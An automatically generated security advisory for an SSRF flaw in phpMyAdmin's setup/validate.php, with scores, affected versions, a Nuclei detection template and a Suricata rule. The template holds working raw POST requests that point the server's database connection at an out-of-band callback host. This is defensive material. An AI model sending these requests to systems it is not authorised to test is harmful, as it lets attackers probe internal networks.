VULNpocalypse

CVE-2026-119428: phpMyAdmin through 5.2.3 SSRF via setup/validate.php After Setup Disabled

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

phpMyAdmin through 5.2.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to trigger outbound connections via setup/validate.php, which lacks the setup-disabled guard. Attackers can POST attacker-chosen host and port values reaching Validator::testDBConnection() to open MySQL-protocol connections and probe internal ports using returned error messages.

Description quoted from the CVE record (assigned by VulnCheck, published 2026-10-30).

Weakness: Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with high attack complexity only when specific conditions are present needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: no. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 9 references on Exploit Observer

Live scores

EPSS
0.003
low predicted chance of attack
VEDAS
0.982
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
phpMyAdminup to and including 5.2.3Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Vendor guidance:

How to detect it

Nuclei template (active check)

phpMyAdmin - Server-Side Request Forgery (Setup Validate)

phpMyAdmin through 5.2.3 exposes setup/validate.php without the setup-disabled guard and without a token check. An unauthenticated attacker can POST a `Server` validator request whose `Servers/1/host` and `Servers/1/port` values are attacker-chosen, reaching Validator::testDBConnection() which calls mysqli_connect() against that host. This coerces the server into opening an outbound MySQL-protocol connection (and resolving the attacker’s hostname) to an arbitrary internal or external target. This template proves the SSRF by forcing an out-of-band DNS interaction against the host supplied in the request.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /setup/validate.php, POST /phpmyadmin/setup/validate.php); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-119428.yaml
Show the template (54 lines)
yaml
id: CVE-2026-119428

info:
  name: "phpMyAdmin - Server-Side Request Forgery (Setup Validate)"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    phpMyAdmin through 5.2.3 exposes setup/validate.php without the setup-disabled guard and without a
    token check. An unauthenticated attacker can POST a `Server` validator request whose
    `Servers/1/host` and `Servers/1/port` values are attacker-chosen, reaching
    Validator::testDBConnection() which calls mysqli_connect() against that host. This coerces the server
    into opening an outbound MySQL-protocol connection (and resolving the attacker's hostname) to an
    arbitrary internal or external target. This template proves the SSRF by forcing an out-of-band DNS
    interaction against the host supplied in the request.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-119428&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=phpmyadmin&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 6.3
    cve-id: CVE-2026-119428
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 2
  tags: cve,cve2026,phpmyadmin,ssrf,oast

http:
  - raw:
      - |
        POST /setup/validate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=Server&values={"Servers/1/auth_type":"config","Servers/1/user":"root","Servers/1/host":"{{interactsh-url}}","Servers/1/port":"3306"}
      - |
        POST /phpmyadmin/setup/validate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        id=Server&values={"Servers/1/auth_type":"config","Servers/1/user":"root","Servers/1/host":"{{interactsh-url}}","Servers/1/port":"3306"}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: content_type
        words:
          - "application/json"

CVE-2026-119428.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-119428 phpMyAdmin Setup SSRF via setup/validate.php testDBConnection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-119428 phpMyAdmin Setup SSRF via setup/validate.php testDBConnection"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/setup/validate.php"; nocase; fast_pattern; http.request_body; content:"id=Server"; content:"Servers/1/host"; distance:0; classtype:web-application-attack; reference:cve,CVE-2026-119428; reference:url,https://www.exploit.observer/?keyword=CVE-2026-119428&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=phpmyadmin&match=exact; sid:1104000; rev:1;)

CVE-2026-119428.rules on GitHub

References

Vendor advisories and patches

Technical analysis and advisories

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

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